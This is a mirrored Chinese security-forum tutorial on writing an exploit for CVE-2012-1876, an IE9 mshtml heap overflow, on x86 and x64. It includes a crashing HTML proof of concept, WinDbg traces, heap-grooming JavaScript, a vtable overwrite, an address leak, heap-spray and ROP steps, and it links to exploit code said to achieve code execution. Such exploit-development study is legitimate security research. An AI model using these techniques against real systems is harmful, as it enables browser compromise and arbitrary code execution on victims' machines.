3

[原创] 【EXP 编写与分析系列三】Microsoft Windows本地代码执行漏洞(CVE-2012-1876)x...

 2 years ago
source link: https://bbs.pediy.com/thread-271422.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

[原创] 【EXP 编写与分析系列三】Microsoft Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

[原创] 【EXP 编写与分析系列三】Microsoft Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析
5天前 3194

1.1 概述

在2012年的Pwn2Own黑客大赛上,来自法国的安全团队Vupen利用两个0day漏洞攻下windows7的IE9,其中有一个就是本编文章说的漏洞,也因此获得6万美元的奖励。根据大赛规定,Vupen将堆溢出漏洞提交给微软修复,然后微软发布了MS12-037公告修复此漏洞,而绕过IE沙盘的漏洞,VUPEN并没有提交给微软,可能是高价出售给了政府或者安全厂商。

1.2 非常重要的说明

针对这个漏洞我要说明的有以下几点:
1、本文并不做详细的漏洞成因分析,而是做详细的EXP编写分析;
2、本文只对核心漏洞代码、利用代码进行说明;
3、所以,阅读本文之前,你最好看看下面的网址,有很详细的基础说明:
https://mp.weixin.qq.com/s/Wfc1wNc0KvCqXqFVEKRqcQ
4、本文着重于指导EXP的编写,对怎么写、为什么这么写给出了详细说明;
5、对x64平台下的EXP,有一个重要改进,也存在一个重大问题,见后文分析。
6、本文是首篇对该漏洞在x64平台下分析、编写EXP的文章。
7、win7_x86_7601版本和win7_sp1_x64版本上实验。

1、POC分析

2.1 漏洞原因

详细漏洞成因见上面的网址,现在我简单说明下漏洞成因:
1、页面第一次的span等于1,申请的内存空间为0x70;
2、页面第二次的span等于1000,申请的内存空间依然为0x70;
在循环堆写入数据的时候,导致堆溢出。

2.2 POC代码

<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >&nbsp </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>

2.3 POC运行结果

(db0.fdc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06e3d000 edi=06e3d018
eip=66860a2f esp=043bbaf8 ebp=043bbb04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
66860a2f 890f            mov     dword ptr [edi],ecx  ds:0023:06e3d018=????????
1:020> r ecx
ecx=04141149

可见,触发漏洞的代码是在:
mshtml!CTableColCalc::AdjustForCol+0x15。

2.4 POC数据分析

mshtml!CTableColCalc::AdjustForCol+0x15打断点,逐步运行,可以得到图1,规律为:每一次循环,每两个位置之间相差0x1C,但是第一次是相差0x18。
下面从以下几个方面分析:
1、确认关键变量
2、确认堆循环
3、确认堆数值

3、POC编写关键点分析

3.1 通过this指针确认关键变量

在函数
void CTableLayout::CalculateMinMax(CTableLayout __hidden this, struct CTableCalcInfo , int)
打断点,可得:

可以看到ebp+8的内存是0x7ebcea8,这个就是上面定义的第一个参数。注意,因为有*,所以这个是个地址,要取地址的内容,才是this指针。this指针指向类的起始地址。所以就要 dd poi(ebp+8)。
可以看到起始4个字节刚好是类的虚表指针。又因为在该函数偏移0x8位置,把ebp+8赋值给了ebx(也就是this指针,对象的地址)。此时要注意,所有跟ebx有关汇编代码,很有可能就是类的参数,会对EXP的编写有用处。

在mshtml!CTableLayout::CalculateMinMax+170,有:
lea esi, [ebx+90h] (ebx就是虚表指针,也就是类的起始地址)
然后EnsureSize里面调用_HeapRealloc时,又有:
lea esi, [edi+0Ch] (之前有mov edi,esi指令)
call ?_HeapRealloc@@YGJPAPAXI@Z
所以,堆块分配后的存放位置为:
CTableLayout+0x90+0xC,也就是ebx+0x90+0xC,可以看到,分配的内存空间大小,确实为0x70。
59.png

3.2 确认堆的分配大小

牢牢把握住ebx,也就是CTableLayout,就知道这个类的成员结构了。记住,要紧紧围绕堆分配大小来确认需要什么。

通过汇编代码分析,在mshtml!CTableLayout::CalculateMinMax中,和ebx相关的内存变量,除了上面的堆地址,还有两个:
1、ebx+0x54
2、ebx+0x94

在POC调用over_triger,触发漏洞时,在调用mshtml!CTableColCalc::AdjustForCol处打断点,可得:
59.png
发现spannum为1,但是在overtriger里面已经设置为1000了。当然,我们在写EXP时,搞不清这几个参数什么意思,也没关系,因为我们已经知道,堆的位置在ebx+0x9c。所以,可以直接看存储堆指针的位置ebx+9c分配的堆大小是多少。
59.png
确实依然分配的是0x70大小。
所以,这里可以得出结论,在调用mshtml!CTableColCalc::AdjustForCol函数时,虽然已经修改span=1000,但是堆的大小,依然为0x70。那么,写的时候,是按照span=1000,还是按照span=1来写的呢?下面开始确认。

3.3 确认堆的写范围

堆的写范围和什么相关,当然和循环次数相关了。循环次数是怎么定的?如下图,在mshtml!CTableLayout::CalculateMinMax函数里。而且可以推出第一次是0x18(因为第一次循环时v86等于0,adjustforcol里面偏移0x18),第二次开始才是每次0x1Cn+0x18。
59.png
如果span=1000,可以写的最远范围为1000
1C-4,远远超出了0x70的范围。

3.4 确认堆的写内容

内容的计算,不是在GetPixelWidth中,而是在GetFancyFormat函数中,也就是
mshtml!CTableLayout::CalculateMinMax+0x1952be处。
这个函数出来之后的eax+0x70,取内容,就是计算的内容。但有个问题,这个函数里面计算的数值很复杂,存在eax中,eax经过的赋值为:

text:74E1B230 FF 35 98 8D 15 75               push    ?g_dwTls@@3KA   ; dwTlsIndex
.text:74E1B236 0F BF F0                       movsx   esi, ax
.text:74E1B239 FF 15 DC 12 C2 74              call    ds:__imp__TlsGetValue@4 ; TlsGetValue(x)
.text:74E1B23F 6B F6 0C                       imul    esi, 0Ch
.text:74E1B242 8B 40 64                       mov     eax, [eax+64h]
.text:74E1B245 8B 40 30                       mov     eax, [eax+30h]
.text:74E1B248 8B 04 06                       mov     eax, [esi+eax]

然后eax+70取内容就是计算出来的值了。
现在,这个值非常不好确定,如果要自己去计算,就要跟进TlsGetValue函数。这是完全没有必要的,直接用实验法来确定。比如,width=1,width=2,看等于多少就可以确认要得到的内容了后面EXP的地址,也可以在这里提前确认。当然,实际的值是width100,或者width100 << 8 + 8。
现在最好就取width*100。其实很容易确定。当width=41时候,值就是0x1004,十进制就是4100。也可以看出来就是乘以的100。

4、x86平台EXP编写要点

4.1 堆布局

59.png
图2 堆溢出前堆布局
59.png
图3 溢出后堆布局

这两个图来源于《漏洞战争》,很重要。首先分配E、A、B、CButtonLayout的4个堆,然后释放其中的E,用vulheap替代,也就是我们之前的溢出堆来替代。
下面,我来详细说明,这里的编写、调试思路。

4.2 为什么堆大小是0x100

运行EXP,在堆布局完成之后,断下。
首先,用:!heap -stat

然后,用:!heap -stat -h 00340000

接着,用!heap -a 00340000,搜索大小为fc的堆:

注意:这个命令输出的大小为fc的堆数量不全,只有6个,但实际上是250个,所以要用!heap -flt s fc命令,但这里只是为了找对象大小。后面确认时,再用!heap -flt s [size] 命令。
再用:!heap -p -a 40e860

最后,用 !heap -flt s fc

可知,CButtonLayout的Size=0x21*8=0x108字节。UserSize=0xFC,但因为内存对齐关系,实际大小为0x108字节。
现在来看看E、A、B堆大小:

可以看到,Size是108字节大小,和上面CButtonLayout的大小108字节一样。这就是为什么要设置成0x100大小。当然UserSize不重要,一个0x100,一个0xfc,都是数据大小,但是整块堆的大小就要看0x21,也就是108字节了。

这就是为什么堆大小是0x100的原因,当然这里的0x100,指的是UserSize。

记住,总共3个长度:
总共3个长度:
1、堆的总长0x108
2、用户长度0x100
3、BSTR长度0xfa

4.3 EXP的span为什么等于9

因为9*1C = FC ,刚好等于CButtonLayout的大小,而通过CButtonLayout我们知道,它是FC大小的堆,但实际size是0x108。

特别注意:这儿usersize是0xFC大小,但size是0x108,这和free的”EEEE”堆的大小是一样的。堆占用,要看size,而不是usersize。

4.4 覆盖虚表指针

4.4.1 第一阶段(覆盖字符串B长度)

在EXP代码CollectGarbage之后,再重新赋值ID=132的span之前,alert一下,然后进去看内存布局。因为取ID=132时,E和A之间有垃圾数据,所以选择ID=131的span。也就是日志vulheap倒数第二个,就是我们要的内存地址。但是因为断点是刚刚打在分配时,还没有赋值,所以还可以看到E的存在。内存如下:

4.4.2 第二阶段(字符串B的长度被覆盖,地址在20de680),内存如下

4.4.3 第三阶段:覆盖虚表指针

之前其他EXP的span等于44,这个值可能也可以,但没必要覆盖这么大区域,直接等于29即可,内存如下:
未覆盖之前:

覆盖之后:

4.4.4、触发

可见,系统现在调用的地址是:
call [0707002c]。
只要把堆喷射到这个地址,就可以了。

5、x64平台EXP编写要点

5.1 堆布局

堆布局和x86平台一样,只是堆的大小要重新修改,一些参数要重新确认,这在后面分析。

5.2 POC验证

5.3 CButtonLayOut大小确认

上面红色是user size。所以,CButtonLayout的实际大小是0x148+0x8(8字节头)=0x150,但注意,可能有绿色的8字节头填充。那就是0x158字节了。下面的堆,是堆大小还等于0x100时的图。现在,x64要更改大小了。

所以,可以看到,Size = 0x12*0x10 = 0x120,刚好是UserSize + 0x10字节头长度。x64平台下,堆头是0x10字节。

5.4、x64堆代码修改及堆分布

for (var i = 0 ; i < 500 ; i += 2)
{
fr[i] = free.substring(0,(0x150-0x10-4-4-2)/2);
al[i] = string1.substring(0,(0x150-0x10-4-4-2)/2);
bl[i] = string2.substring(0,(0x150-0x10-4-4-2)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}

其中,0x150是分配的总大小,-0x10是因为8字节头+8字节填充,-4-4是因为填充+BSTR长度,-2是因为最后NULL字符。


注意:蓝色是虚表指针。
不管大小是0x158,还是0x150,内存的堆分配都是根据Size来的,只要Size的数值一样,堆就会被分配在相邻的内存。

5.5 确认堆分配地址

同样,在CalculateMinMax函数里,反汇编有:

.text:000007FF7DCA2E9B              lea     rcx, [r14+0D0h] ; this
.text:000007FF7DCA2EA2              mov     r8d, r9d        ; int
.text:000007FF7DCA2EA5              mov     edx, 20h ; ' '  ; unsigned __int64
.text:000007FF7DCA2EAA              call    ?EnsureSizeWorker@CImplAry@@AEAAJ_KJ@Z ; CImplAry::EnsureSizeWorker(unsigned __int64,long)
.text:000007FF7DC0CE00              mov     rdi, rcx
.text:000007FF7DC0CE72              lea     rcx, [rdi+10h]  ; void **
.text:000007FF7DC0CE76               mov     edx, ebp        ; unsigned __int64
.text:000007FF7DC0CE78               call    ?_HeapRealloc@@YAJPEAPEAX_K@Z ; _HeapRealloc(void * *,unsigned __int64)

所以堆指针在:
r14+0xd0+0x10

bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"

这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,后面的截图,就是这样找的地址。

5.6修改span长度以让vulheap等于0x150

通过上面断点分析,发现分配的大小是span0x20
所以让其等于10
32=320=0x140,
再加0x10字节头
让其等于0x150
那么需要span等于10。

5.7 覆盖虚表指针

5.7.1、第一阶段:覆盖字符串B长度确认

bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap;dd poi(r14+0xd0+0x10) l4;g"
这个断点的最后一个,也就是id=132的vulheap,就是要被覆盖的堆的地址,下面的截图,就是这样找的地址。

所以要覆盖到32c9cd0,长度就是0x2a0
通过前面知道,一个span是0x20,
所以这里的长度是:
0x2a0 /0x20 = 0x15 = 21,实际可以再加1个1,成为22。

5.7.2、第二阶段:覆B字符串长度(有重大改进)

采用x86堆结构,无法覆盖虚表,需要修改


修改之后,加一个块C,为后面虚表指针被覆盖做准备。
注意:上面字符串B的长度被替换了。

5.7.3、获取mshtml基址代码说明

var leak = bl[i].substring((0x140-4-6+2+16+0x150)/2,(0x140-4-6+2+16+8+0x150)/2);

bl是块BBBB
说明:
0x140是字符串的长度
-4是填充
-6是BSTR的4字节长度和末尾2字节
所以,当使用substring函数的时候,这个index,就是字符串BBBB块的最后一个字符。
然后用这个index(0x140-4-6)继续计算:
+2,是2字节NULL
+0x16,是CButtonLayout块的头
+0x150,是块C的大小(包括头+填充+内容,是整个大小)
然后就可以获取47d25f0这个地址的mshtml基址了。

5.7.4、第三阶段:覆盖虚表指针

5.7.5 触发

这里的指针地址是0707002407070024,要修改这个地址,让地址能够被堆喷射。
但是,这里x64是0707002407070024,怎么办呢?堆喷不过去。
长度写成1,地址最小也是0x0000006400000064,也堆喷不过去。
所以x64平台我只是成功控制了喷射地址,而没有实现利用的效果。

6、堆喷射和ROP

ROP代码是通过mona.py实现的,你可以自己搜索资料实现。也可以参考我EXP的代码。

1、先观察喷射的内存分布,本来喷射最后4位都是0018结尾,如果是在0c0c结尾的内存的话,就要padding数据,最后让eip对准rop地址,但是这里,直接把位置定准在了0024,也就是说0018+8字节头+4字节BSTR长度,刚好就是24,所以就没有padding,就让width100直接指向24。具体padding的技巧,参考下面网址:
https://blog.csdn.net/qs_hud/article/details/9821735?utm_medium=distribute.wap_relevant.none-task-blog-2~default~baidujs_title~default-9.wap_blog_relevant_default&spm=1001.2101.3001.4242.6
正因为是这样,就把width定成了1178993
100,指向07070024。当然,也可以是其他的数据,反正就是要先看内存分布,再定width大小。
最后,通过mona.py生成ROP数据,就可以达到任意代码执行的目的了。

7 关于代码

代码下载地址为:
https://github.com/ExploitCN/CVE-2012-1876-win7_x86_and_win7x64
其中x86的代码可以直接运行,实现任意代码执行。
x64的代码只能实现堆喷射地址控制,如果你解决了x64下面的问题,请一定要告诉我。

【公告】欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 5天前 被ExploitCN编辑 ,原因:

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK